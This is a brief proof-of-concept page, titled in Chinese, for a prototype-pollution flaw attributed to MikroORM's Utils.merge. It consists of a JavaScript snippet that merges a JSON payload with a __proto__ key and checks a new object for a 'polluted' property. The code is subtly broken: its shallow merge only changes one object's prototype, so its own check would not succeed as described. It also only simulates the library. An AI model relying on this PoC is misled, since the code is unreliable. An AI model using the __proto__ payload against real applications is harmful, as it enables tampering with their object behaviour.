CVE-2026-34221 MikroORM原型污染漏洞

// Proof of Concept for CVE-2026-34221 // This demonstrates how a malicious payload can pollute the prototype // using the vulnerable Utils.merge function in MikroORM. // Simulating the vulnerable Utils.merge behavior function vulnerableMerge(target, source) { for (const key in source) { if (source.hasOwnProperty(key)) { target[key] = source[key]; } } return target; } // 1. Create a safe object const safeObject = {}; // 2. Create a malicious payload targeting the prototype // The payload contains the __proto__ key const maliciousPayload = JSON.parse('{"__proto__": {"polluted": true}}'); // 3. Perform the merge operation (Vulnerable Action) console.log("[+] Merging malicious payload into object..."); vulnerableMerge(safeObject, maliciousPayload); // 4. Verify the pollution // If the pollution is successful, empty objects will now have the 'polluted' property const checkObject = {}; if (checkObject.polluted === true) { console.log("[!] SUCCESS: Prototype pollution detected!"); console.log(" Empty object property 'polluted':", checkObject.polluted); } else { console.log("[-] FAILED: No pollution detected."); }